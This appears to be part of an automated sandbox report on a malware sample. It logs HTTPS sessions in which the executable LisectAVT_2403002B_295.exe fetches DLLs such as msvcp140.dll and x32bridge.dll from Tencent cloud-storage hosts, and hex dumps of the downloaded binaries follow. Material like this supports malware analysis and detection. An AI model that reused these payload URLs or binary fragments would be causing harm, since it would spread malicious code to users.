8b 0a 89 08 8b 4a 04 89 48 04 e9 d3 fe ff ff 8d 41 01 a3 00 13 01 10 8b 45 0c 39 10 74 20 50 8d 45 f0 c7 45 f0 64 20 00 10 50 ff 75 08 c7 45 f4 0f 00 00 00 e8 57 Data Ascii: VPPujVuAxVuAEMP9tEL EEX EYjStLHt)tMj!uAfUAEJHAE9t PEEd PuEW
2024-07-25 13:13:45 UTC	8184	IN	Data Raw: 39 4d 08 76 16 a1 00 13 01 10 80 38 00 74 10 40 41 a3 00 13 01 10 3b 4d 08 72 ef b0 01 5d c3 32 c0 5d c3 33 c0 39 01 0f 94 c0 c3 33 c0 80 79 04 01 0f 9e c0 c3 57 8b 39 85 ff 75 04 33 c0 5f c3 8b 07 56 8b 30 8b ce ff 15 bc 20 01 10 8b cf ff d6 5e 5f c3 cc cc cc cc cc cc cc cc 8b 41 08 c3 cc cc cc cc cc cc cc cc cc cc cc cc 33 c0 40 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 49 04 85 c9 0f 85 ae ff ff ff 33 c0 c3 cc cc 55 8b ec 51 8b 41 0c 89 4d fc 85 c0 79 39 53 56 57 8b 79 08 8b 07 8b 30 8b ce ff 15 bc 20 01 10 8b cf ff d6 8b d8 8b 45 fc 8b 78 04 8b 07 8b 30 8b ce ff 15 bc 20 01 10 8b cf ff d6 8b 4d fc 03 c3 5f 5e 5b 89 41 0c c9 c3 55 8b ec 8b 45 08 83 f8 03 77 0a 6b c0 0c 05 b0 23 00 10 5d c3 b8 d4 23 00 10 5d c3 55 8b ec a1 04 13 01 10 83 ec 18 33 d2 57 Data Ascii: 9Mv8t@A;Mr]2]393yW9u3_V0 ^_A3@I3UQAMy9SVWy0 Ex0 M_^[AUEwk#]#]U3W
2024-07-25 13:13:45 UTC	8184	IN	Data Raw: 6f 40 40 00 ca 23 01 00 9a 25 01 00 86 25 01 00 68 25 01 00 4c 25 01 00 32 25 01 00 1c 25 01 00 06 25 01 00 ec 24 01 00 d0 24 01 00 bc 24 01 00 a6 24 01 00 94 24 01 00 82 24 01 00 74 24 01 00 6a 24 01 00 40 23 01 00 4c 23 01 00 5c 23 01 00 6c 23 01 00 88 23 01 00 a0 23 01 00 b2 23 01 00 4e 24 01 00 e2 23 01 00 fa 23 01 00 0a 24 01 00 1a 24 01 00 42 24 01 00 5c 24 01 00 00 00 00 00 88 22 01 00 00 00 00 00 3e 22 01 00 28 22 01 00 20 22 01 00 00 00 00 00 14 22 01 00 0c 22 01 00 00 00 00 00 52 22 01 00 6c 22 01 00 00 00 00 00 32 22 01 00 90 22 01 00 48 22 01 00 00 00 00 00 a0 3f 00 10 00 00 00 00 e4 21 01 00 00 00 00 00 00 00 00 00 9a 22 01 00 94 20 01 00 d4 21 01 00 00 00 00 00 00 00 00 00 bc 22 01 00 84 20 01 00 fc 21 01 00 00 00 00 00 00 00 00 00 dc 22 01 Data Ascii: o@@#%%h%L%2%%%$$$$$$t$j$@#L#\#l####N$##$$B$\$">"(" """R"l"2""H"?!" !" !"
2024-07-25 13:13:45 UTC	8184	IN	Data Raw: e0 17 6d 36 9c 91 55 dc 4b 4f 0c 63 4d ce 51 2e a0 55 53 26 4a ce 7f 0f 44 d8 1c d2 d0 1f 0f 06 3a 12 f3 53 98 99 fd 39 34 2c 23 f5 14 90 85 ce 32 51 4e 44 8d 5e 85 d2 33 7f 22 af 3c 54 7b 71 07 d0 5f ba 77 1c 4f 03 25 49 50 3a 41 db 59 a1 0f 04 24 1f 5e 06 a7 9b e9 ab b8 25 52 f3 83 af 5b 26 3d d9 37 18 cb a5 b7 e4 48 d0 c2 be ed 5f bf 36 4e e9 7b 36 55 7c 19 e1 32 22 11 ae 6c cb 0b b7 a9 71 47 5e 54 80 c8 ab 7e 05 ba 63 82 3c 52 97 40 1d 9c ea 77 02 03 01 00 01 a3 82 01 4b 30 82 01 47 30 10 06 09 2b 06 01 04 01 82 37 15 01 04 03 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 77 92 04 78 27 b2 0b 49 07 75 97 ee e9 eb 5e 26 5c 09 44 75 30 19 06 09 2b 06 01 04 01 82 37 14 02 04 0c 1e 0a 00 53 00 75 00 62 00 43 00 41 30 0b 06 03 55 1d 0f 04 04 03 02 01 86 30 0f Data Ascii: m6UKOcMQ.US&JD:S94,#2QND^3"<T{q_wO%IP:AY$^%R[&=7H_6N{6U\|2"lqG^T~c<R@wK0G0+70Uwx'Iu^&\Du0+7SubCA0U0
2024-07-25 13:13:45 UTC	8184	IN	Data Raw: 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 a2 c8 b2 65 60 7b 0f 97 82 fd b0 97 ba c2 86 31 89 83 d2 34 db f4 12 22 e5 ac a6 7e 47 ce 3d 10 0e 7a ac a0 6a 7e 1d fd c7 3b 61 b6 34 46 84 a2 3d f8 a0 a7 71 6f d5 5f 68 27 36 bd 61 30 aa 51 d9 3d 79 4d f9 24 45 5a 06 92 eb 1c 34 11 c6 20 72 6f 39 bf de f0 c8 49 d5 09 8b 46 70 14 25 21 57 26 50 33 60 c3 41 17 bd dc 8a c7 01 3f 02 d4 8e dd ab 5d 47 31 0b 98 91 1c b3 0a 99 56 18 e7 f2 0b 85 8b a7 d8 06 ce 2e 69 83 bf 74 4b a2 2f d6 ab 35 69 72 1f ff d1 bb b5 91 98 96 5a 50 b4 07 04 5e f6 62 83 df b6 e3 c7 a8 90 57 c1 df 17 8c cd f3 5d 48 5f d7 55 f3 cf 9d 4f e5 2e 82 a8 5c 8e 19 49 29 2b 0d 0c 82 6c 84 8e d0 c3 82 c7 58 Data Ascii: t Corporation0"0*H0e`{14"~G=zj~;a4F=qo_h'6a0Q=yM$EZ4 ro9IFp%!W&P3`A?]G1V.itK/5irZP^bW]H_UO.\I)+lX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49708	43.152.64.207	443	5056	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 13:13:46 UTC	135	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.com Cache-Control: no-cache
2024-07-25 13:13:46 UTC	473	IN	HTTP/1.1 200 OK Content-Type: application/x-msdownload Content-Length: 446840 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 25 Jul 2024 13:13:46 GMT ETag: "c766ca0482dfe588576074b9ed467e38" Last-Modified: Mon, 18 Mar 2024 00:34:14 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 10292142785671919093 x-cos-request-id: NjZhMjRmOGFfOWYwZTc5MWVfMzE0Nl82NWYyNDE= x-cos-server-side-encryption: AES256
2024-07-25 13:13:46 UTC	7731	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d 4f bd 24 c9 2e d3 77 c9 2e d3 77 c9 2e d3 77 1a 5c d2 76 cb 2e d3 77 c0 56 40 77 df 2e d3 77 cf af d2 76 ca 2e d3 77 c9 2e d2 77 08 2e d3 77 cf af d7 76 c2 2e d3 77 cf af d0 76 c0 2e d3 77 cf af d6 76 44 2e d3 77 cf af d3 76 c8 2e d3 77 cf af 2c 77 c8 2e d3 77 cf af d1 76 c8 2e d3 77 52 69 63 68 c9 2e d3 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$O$.w.w.w\v.wV@w.wv.w.w.wv.wv.wvD.wv.w,w.wv.wRich.w
2024-07-25 13:13:46 UTC	16368	IN	Data Raw: 10 14 5c 00 10 f0 bc 00 10 40 e0 00 10 c0 df 00 10 70 ce 00 10 60 dc 00 10 90 dc 00 10 69 6f 73 74 72 65 61 6d 00 00 00 00 69 6f 73 74 72 65 61 6d 20 73 74 72 65 61 6d 20 65 72 72 6f 72 00 00 00 60 5c 00 10 40 bd 00 10 b0 96 00 10 62 61 64 20 63 61 73 74 00 00 00 00 ac 5c 00 10 a0 b9 00 10 00 ca 03 10 00 ca 03 10 62 61 64 20 6c 6f 63 61 6c 65 20 6e 61 6d 65 00 00 00 00 00 3a 53 75 6e 3a 53 75 6e 64 61 79 3a 4d 6f 6e 3a 4d 6f 6e 64 61 79 3a 54 75 65 3a 54 75 65 73 64 61 79 3a 57 65 64 3a 57 65 64 6e 65 73 64 61 79 3a 54 68 75 3a 54 68 75 72 73 64 61 79 3a 46 72 69 3a 46 72 69 64 61 79 3a 53 61 74 3a 53 61 74 75 72 64 61 79 00 00 00 3a 4a 61 6e 3a 4a 61 6e 75 61 72 79 3a 46 65 62 3a 46 65 62 72 75 61 72 79 3a 4d 61 72 3a 4d 61 72 63 68 3a 41 70 72 3a 41 70 Data Ascii: \@p`iostreamiostream stream error`\@bad cast\bad locale name:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday:Jan:January:Feb:February:Mar:March:Apr:Ap
2024-07-25 13:13:46 UTC	8184	IN	Data Raw: 10 38 6a 00 10 28 5d 00 10 d8 5c 00 10 44 5d 00 10 00 00 00 00 b8 3e 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 14 6a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 3f 06 10 68 6a 00 10 00 00 00 00 01 00 00 00 06 00 00 00 78 6a 00 10 94 6a 00 10 b0 6a 00 10 e8 67 00 10 28 5d 00 10 d8 5c 00 10 44 5d 00 10 00 00 00 00 10 3f 06 10 05 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 68 6a 00 10 38 3f 06 10 04 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 cc 6a 00 10 00 00 00 00 01 00 00 00 05 00 00 00 dc 6a 00 10 b0 6a 00 10 e8 67 00 10 28 5d 00 10 d8 5c 00 10 44 5d 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 3f 06 10 08 6b 00 10 00 00 00 00 01 00 00 00 06 00 00 00 18 6b 00 10 34 6b 00 10 b0 6a 00 10 e8 67 Data Ascii: 8j(]\D]>@j?hjxjjjg(]\D]?@hj8?@jjjg(]\D]X?kk4kjg
2024-07-25 13:13:46 UTC	8184	IN	Data Raw: 08 e8 2f 01 00 00 83 65 fc 00 c7 06 80 29 00 10 83 4d fc ff 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c2 04 00 55 8b ec 6a ff 68 6d cb 03 10 64 a1 00 00 00 00 50 51 a1 80 32 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 4d f0 33 c0 c7 01 44 29 00 10 89 41 08 c7 41 04 88 29 00 10 89 45 fc c7 01 80 29 00 10 83 4d fc ff 8b c1 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 43 cb 03 10 64 a1 00 00 00 00 50 51 56 a1 80 32 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 89 75 f0 ff 75 08 e8 7f 00 00 00 83 65 fc 00 c7 06 64 29 00 10 83 4d fc ff 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c2 04 00 55 8b ec 6a ff 68 6d cb 03 10 64 a1 00 00 00 00 50 51 a1 80 32 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 4d f0 33 c0 c7 Data Ascii: /e)MMdY^UjhmdPQ23PEdM3D)AA)E)MMdYUjhCdPQV23PEduued)MMdY^UjhmdPQ23PEdM3
2024-07-25 13:13:46 UTC	8184	IN	Data Raw: 31 ce 03 10 e8 65 11 03 00 8b f1 89 75 f0 8b 45 08 89 46 04 83 65 fc 00 8d 4d bc 68 60 2d 00 10 c7 06 d8 2e 00 10 e8 42 02 00 00 8d 45 bc 8b ce 50 e8 a7 1d 00 00 8d 4d bc e8 7f 08 00 00 8b c6 e8 06 11 03 00 c2 04 00 cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 ff 75 08 8b f1 89 75 fc 89 46 04 c7 06 98 2e 00 10 e8 72 1d 00 00 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc 6a 38 b8 31 ce 03 10 e8 e5 10 03 00 8b f1 89 75 f0 8b 45 08 89 46 04 83 65 fc 00 8d 4d bc 68 60 2d 00 10 c7 06 98 2e 00 10 e8 c2 01 00 00 8d 45 bc 8b ce 50 e8 27 1d 00 00 8d 4d bc e8 ff 07 00 00 8b c6 e8 86 10 03 00 c2 04 00 cc cc cc cc cc 56 8b f1 56 e8 c7 5a 00 00 59 8b c6 5e c3 cc cc c7 01 90 2a 00 10 8b c1 c2 04 00 cc cc cc cc cc c7 01 90 2a 00 10 8b c1 c3 a1 18 46 06 10 c7 05 38 49 Data Ascii: 1euEFeMh`-.BEPMUQEVuuF.r^j81uEFeMh`-.EP'MVVZY^**F8I
2024-07-25 13:13:46 UTC	8184	IN	Data Raw: 00 cc 55 8b ec 83 ec 0c 8d 4d f4 e8 00 e4 ff ff 68 48 09 04 10 8d 45 f4 50 e8 bb ff 02 00 cc cc cc cc cc cc cc 56 8b f1 8b 46 10 85 c0 7e 0b ff 76 0c ff 15 cc 61 06 10 eb 0a 79 09 ff 76 0c e8 69 f3 02 00 59 ff 76 14 ff 15 cc 61 06 10 59 5e c3 cc cc cc cc 55 8b ec 6a ff 68 a4 cf 03 10 64 a1 00 00 00 00 50 56 57 a1 80 32 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f9 6a 00 e8 b3 f3 ff ff 8b 47 28 85 c0 74 12 8b 30 6a 10 50 e8 7c ed 02 00 8b c6 59 59 85 f6 75 ee 83 67 28 00 8b 47 2c 85 c0 74 12 8b 30 6a 0c 50 e8 5f ed 02 00 8b c6 59 59 85 f6 75 ee 83 67 2c 00 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e c9 c3 cc cc cc cc cc 56 8b f1 8b 46 14 83 f8 0f 76 0b 40 50 ff 36 e8 1e d6 ff ff 59 59 83 66 10 00 c7 46 14 0f 00 00 00 c6 06 00 5e c3 cc cc cc cc cc cc cc cc cc Data Ascii: UMhHEPVF~vayviYvaY^UjhdPVW23PEdjG(t0jP\|YYug(G,t0jP_YYug,MdY_^VFv@P6YYfF^
2024-07-25 13:13:47 UTC	8184	IN	Data Raw: 56 57 ff 75 0c 8b f9 ff 75 08 8b 07 8b 70 24 8b ce ff 15 30 63 06 10 8b cf ff d6 5f 5e 5d c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc 6a 30 b8 6a d1 03 10 e8 78 d1 02 00 8b d9 8b 43 1c 8b 08 85 c9 74 23 8b 53 2c 8b 32 8d 04 0e 3b c8 73 17 8d 46 ff 89 02 8b 4b 1c 8b 11 8d 42 01 89 01 0f b6 02 e9 51 01 00 00 83 7b 4c 00 75 08 83 c8 ff e9 43 01 00 00 8b cb e8 11 df ff ff 8b 4b 4c 33 d2 39 53 38 75 19 51 8d 45 d6 50 e8 a6 b6 ff ff 59 59 84 c0 74 d7 0f b6 45 d6 e9 19 01 00 00 33 c0 8d 7d d8 ab ab ab ab 89 55 e8 c7 45 ec 0f 00 00 00 88 55 d8 51 89 55 fc ff 15 98 62 06 10 83 cf ff e9 90 00 00 00 50 8d 4d d8 e8 54 f8 ff ff 83 7d ec 0f 8d 4d d8 8b 53 38 89 55 c8 76 03 8b 4d d8 8b 45 e8 03 c1 83 7d ec 0f 89 45 cc 8d 4d d8 76 03 8b 4d d8 8b 02 8b 70 18 8d 45 c4 50 Data Ascii: VWuup$0c_^]j0jxCt#S,2;sFKBQ{LuCKL39S8uQEPYYtE3}UEUQUbPMT}MS8UvME}EMvMpEP
2024-07-25 13:13:47 UTC	8184	IN	Data Raw: 0f 8d 75 c0 76 03 8b 75 c0 8a 06 3c 7f 74 32 8b 7d ac 84 c0 7e 28 0f be c8 8b c7 2b c3 3b c8 73 1d ff 75 98 2b f9 8d 4d d8 6a 01 57 e8 6e 34 00 00 80 7e 01 00 7e 01 46 8a 06 3c 7f 75 d4 8b 7d bc 83 7f 24 00 8b 45 e8 89 45 a0 7c 13 7f 06 83 7f 20 00 76 0b 8b 77 20 3b f0 76 04 2b f0 eb 02 33 f6 8b 47 14 25 c0 01 00 00 83 f8 40 0f 84 83 00 00 00 3d 00 01 00 00 74 38 56 ff 75 18 8d 45 a4 ff 75 10 ff 75 0c 50 ff 75 b8 e8 e5 20 00 00 83 c4 18 33 f6 83 7d ec 0f 8b 08 8b 50 04 8d 45 d8 89 4d 0c 89 55 10 76 03 8b 45 d8 53 50 52 51 eb 58 83 7d ec 0f 8d 45 d8 76 03 8b 45 d8 53 50 ff 75 10 8d 45 a4 ff 75 0c 50 ff 75 b8 e8 63 20 00 00 56 ff 75 18 8b 08 8b 40 04 50 89 45 10 8d 45 a4 51 50 ff 75 b8 89 4d 0c e8 86 20 00 00 83 c4 30 33 f6 eb 23 83 7d ec 0f 8d 45 d8 76 03 Data Ascii: uvu<t2}~(+;su+MjWn4~~F<u}$EE\| vw ;v+3G%@=t8VuEuuPu 3}PEMUvESPRQX}EvESPuEuPuc Vu@PEEQPuM 03#}Ev
2024-07-25 13:13:47 UTC	8184	IN	Data Raw: 33 c0 eb 07 53 e8 24 f4 ff ff 59 ff 75 f0 50 56 e8 98 fc ff ff 83 c4 0c b9 90 49 06 10 e8 bb 8b ff ff 85 db 75 4a 6a 18 89 45 f0 e8 65 93 02 00 8b f0 59 89 75 e8 c7 45 fc 07 00 00 00 85 f6 74 1a 21 5e 04 53 ff 75 08 8b ce c6 45 fc 08 c7 06 c8 32 00 10 e8 ba f8 ff ff eb 02 33 f6 ff 75 f0 83 4d fc ff 56 57 e8 42 fc ff ff 83 c4 0c eb 13 53 8b f0 e8 4b f4 ff ff 56 50 57 e8 2d fc ff ff 83 c4 10 83 7d ec 00 74 4a b9 c0 46 06 10 e8 4a 8b ff ff 8b f0 85 db 75 29 6a 08 e8 f5 92 02 00 89 45 e8 59 85 c0 74 0b 21 58 04 c7 00 1c 30 00 10 eb 02 33 c0 56 50 57 e8 f0 fb ff ff 83 c4 0c eb 11 53 e8 39 78 ff ff 56 50 57 e8 dd fb ff ff 83 c4 10 8b 75 08 53 57 ff 75 0c 56 e8 0c 5d 01 00 53 57 ff 75 0c 56 e8 b1 c2 00 00 53 8b 5d 0c 57 53 56 e8 c5 bd 00 00 09 5f 10 83 c4 30 8b Data Ascii: 3S$YuPVIuJjEeYuEt!^SuE23uMVWBSKVPW-}tJFJu)jEYt!X03VPWS9xVPWuSWuV]SWuVS]WSV_0
2024-07-25 13:13:47 UTC	8184	IN	Data Raw: 10 50 ff 36 e8 93 ff ff ff 5e c9 c2 08 00 ff 25 10 61 06 10 55 8b ec 6a ff ff 75 08 e8 0e 00 00 00 84 c0 75 06 ff 15 50 62 06 10 5d c2 04 00 55 8b ec 8b 45 08 6a 00 ff 75 0c 83 c0 04 50 8d 41 04 50 ff 15 00 61 06 10 85 c0 0f 95 c0 5d c2 08 00 cc cc cc cc 55 8b ec 8b 45 08 83 c0 04 50 ff 15 04 61 06 10 33 c0 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 7d 08 00 74 07 5d ff 25 cc 61 06 10 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b 75 08 6a 28 6a 01 83 26 00 ff 15 d0 61 06 10 59 59 85 c0 75 03 40 eb 0b 83 20 00 83 60 04 00 89 06 33 c0 5e 5d c3 cc cc cc cc cc 55 8b ec 8b 45 08 83 c0 04 50 ff 15 08 61 06 10 33 c0 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 18 a1 80 32 06 10 33 c5 89 45 fc 8b 45 08 53 8b 5d 10 56 8b 75 Data Ascii: P6^%aUjuuPb]UEjuPAPa]UEPa3]U}t]%a]UVuj(j&aYYu@ `3^]UEPa3]U23EES]Vu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	43.152.64.207	443	5056	C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 13:13:49 UTC	136	OUT	GET /x32bridge.dll HTTP/1.1 User-Agent: Mozilla/5.0 Host: www151-1323570959.cos.ap-singapore.myqcloud.com Cache-Control: no-cache
2024-07-25 13:13:49 UTC	473	IN	HTTP/1.1 200 OK Content-Type: application/x-msdownload Content-Length: 576496 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 25 Jul 2024 13:13:49 GMT ETag: "a397ededaa5aeee4632e3a0f531b6417" Last-Modified: Mon, 18 Mar 2024 05:32:58 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 17034013575374080645 x-cos-request-id: NjZhMjRmOGRfYTNlZjc4MGJfMTc4OGFfNjQ4MTU0 x-cos-server-side-encryption: AES256
2024-07-25 13:13:49 UTC	7731	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ee ec 97 3d aa 8d f9 6e aa 8d f9 6e aa 8d f9 6e a3 f5 6a 6e a2 8d f9 6e 68 0c fd 6f a0 8d f9 6e 68 0c fa 6f ab 8d f9 6e 68 0c fc 6f bb 8d f9 6e 68 0c f8 6f ae 8d f9 6e e1 f5 f8 6f af 8d f9 6e aa 8d f8 6e df 8d f9 6e 45 0f f0 6f a8 8d f9 6e 45 0f f9 6f ab 8d f9 6e 45 0f 06 6e ab 8d f9 6e aa 8d 6e 6e ab 8d f9 6e 45 0f fb 6f ab 8d f9 6e 52 69 63 68 aa 8d f9 6e 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=nnnjnnhonhonhonhononnnEonEonEnnnnnEonRichn
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 8b f2 b8 00 00 00 80 83 c0 23 50 e8 ea 01 00 00 83 c4 04 85 c0 0f 84 b3 00 00 00 8b 4d fc 8d 78 23 83 e7 e0 89 47 fc eb 46 8b f8 d1 ef 2b d7 3b c2 76 07 be ff ff ff 7f eb c8 03 c7 3b f0 0f 42 f0 8d 56 01 81 fa 00 10 00 00 72 0d 8d 42 23 3b c2 0f 86 a7 00 00 00 eb b1 85 d2 74 10 52 e8 97 01 00 00 8b 4d fc 83 c4 04 8b f8 eb 02 33 ff 83 7d f8 0f 8d 41 01 89 43 10 89 73 14 51 76 55 8b 33 56 57 e8 3a 0f 00 00 8b 55 fc 83 c4 0c 8b 4d f8 8a 45 10 41 88 04 17 c6 44 17 01 00 81 f9 00 10 00 00 72 12 8b 56 fc 83 c1 23 2b f2 8d 46 fc 83 f8 1f 77 19 8b f2 51 56 e8 0b 01 00 00 83 c4 08 89 3b 8b c3 5e 5f 5b 8b e5 5d c2 0c 00 ff 15 3c 41 00 10 53 57 e8 e7 0e 00 00 8b 55 fc 83 c4 0c 8a 4d 10 8b c3 88 0c 17 c6 44 17 01 00 5e 89 3b 5f 5b 8b e5 5d c2 0c 00 e8 3f e6 ff ff e8 Data Ascii: #PMx#GF+;v;BVrB#;tRM3}ACsQvU3VW:UMEADrV#+FwQV;^_[]<ASWUMD^;_[]?
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: ff 00 00 00 00 fe ff ff ff 24 32 00 10 37 32 00 10 00 00 00 00 90 10 00 10 00 00 00 00 4c 4e 00 10 02 00 00 00 a0 4e 00 10 e8 4e 00 10 02 00 00 00 64 4e 00 10 e8 4e 00 10 00 00 00 00 98 60 00 10 00 00 00 00 ff ff ff ff 00 00 00 00 0c 00 00 00 c0 11 00 10 00 00 00 00 90 10 00 10 00 00 00 00 58 4e 00 10 03 00 00 00 bc 4e 00 10 a0 4e 00 10 e8 4e 00 10 10 00 00 00 b4 60 00 10 00 00 00 00 ff ff ff ff 00 00 00 00 0c 00 00 00 30 11 00 10 00 00 00 00 d0 60 00 10 00 00 00 00 ff ff ff ff 00 00 00 00 0c 00 00 00 f0 10 00 10 00 00 00 00 90 10 00 10 00 00 00 00 90 4e 00 10 00 00 00 00 f8 60 00 10 00 00 00 00 ff ff ff ff 00 00 00 00 0c 00 00 00 10 10 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 4c 4f 00 00 01 00 00 00 02 00 00 00 02 00 Data Ascii: $272LNNNdNN`XNNNN`0`N`LO
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 3b 00 00 4c 89 25 13 3b 00 00 44 89 25 ec 3a 00 00 48 ff 15 6d 1d 00 00 0f 1f 44 00 00 0f ba e7 0d 73 61 33 d2 48 8d 8d 00 0d 00 00 41 b8 20 08 00 00 e8 f8 0e 00 00 48 8b 0d ef 40 00 00 4c 8d 85 00 0d 00 00 41 b9 10 04 00 00 ba d7 07 00 00 48 ff 15 de 1e 00 00 0f 1f 44 00 00 41 b9 40 00 00 00 48 8d 95 00 0d 00 00 4c 8d 85 b0 02 00 00 49 8b cf 48 ff 15 cb 1e 00 00 0f 1f 44 00 00 e9 1d 02 00 00 0f ba e7 0c 73 41 48 8b 0d ac 40 00 00 ba 07 00 00 00 48 ff 15 58 1d 00 00 0f 1f 44 00 00 48 85 c0 0f 84 f6 01 00 00 49 ba 70 c9 db 10 ae 37 38 d4 ff 15 4a 1f 00 00 85 c0 0f 89 de 01 00 00 4c 63 f0 e9 dc 01 00 00 0f ba e7 0b 73 36 ba 0b 00 00 00 48 8b 0d 60 40 00 00 48 ff 15 11 1d 00 00 0f 1f 44 00 00 48 85 c0 0f 84 af 01 00 00 49 ba 70 c9 db 10 ae 37 38 d4 ff 15 03 Data Ascii: ;L%;D%:HmDsa3HA H@LAHDA@HLIHDsAH@HXDHIp78JLcs6H`@HDHIp78
2024-07-25 13:13:49 UTC	8184	IN	Data Raw: 40 01 00 00 00 20 1a 00 40 01 00 00 00 70 34 00 40 01 00 00 00 70 34 00 40 01 00 00 00 00 00 00 00 00 00 00 00 20 12 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 40 01 00 00 00 40 17 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ae 14 00 00 00 b2 17 00 00 00 c0 18 00 00 00 00 10 10 00 00 08 40 11 00 00 08 20 12 00 00 08 80 12 00 00 08 70 15 00 00 08 f0 16 00 00 08 40 17 00 00 08 f0 19 00 00 08 20 1a 00 00 00 30 1d 00 00 08 50 33 00 00 08 00 30 43 00 00 00 00 00 00 4d 4c 41 4e 47 2e 64 6c 6c 00 00 00 00 00 00 00 2e 00 76 00 63 00 66 00 00 00 00 00 00 00 00 00 2f 00 56 00 43 00 61 00 72 00 64 00 00 00 00 00 2e 00 77 00 61 00 62 00 00 00 00 00 00 00 00 00 2f 00 49 00 6d 00 70 00 6f 00 Data Ascii: @ @p4@p4@ @@@@@@ p@ 0P30CMLANG.dll.vcf/VCard.wab/Impo
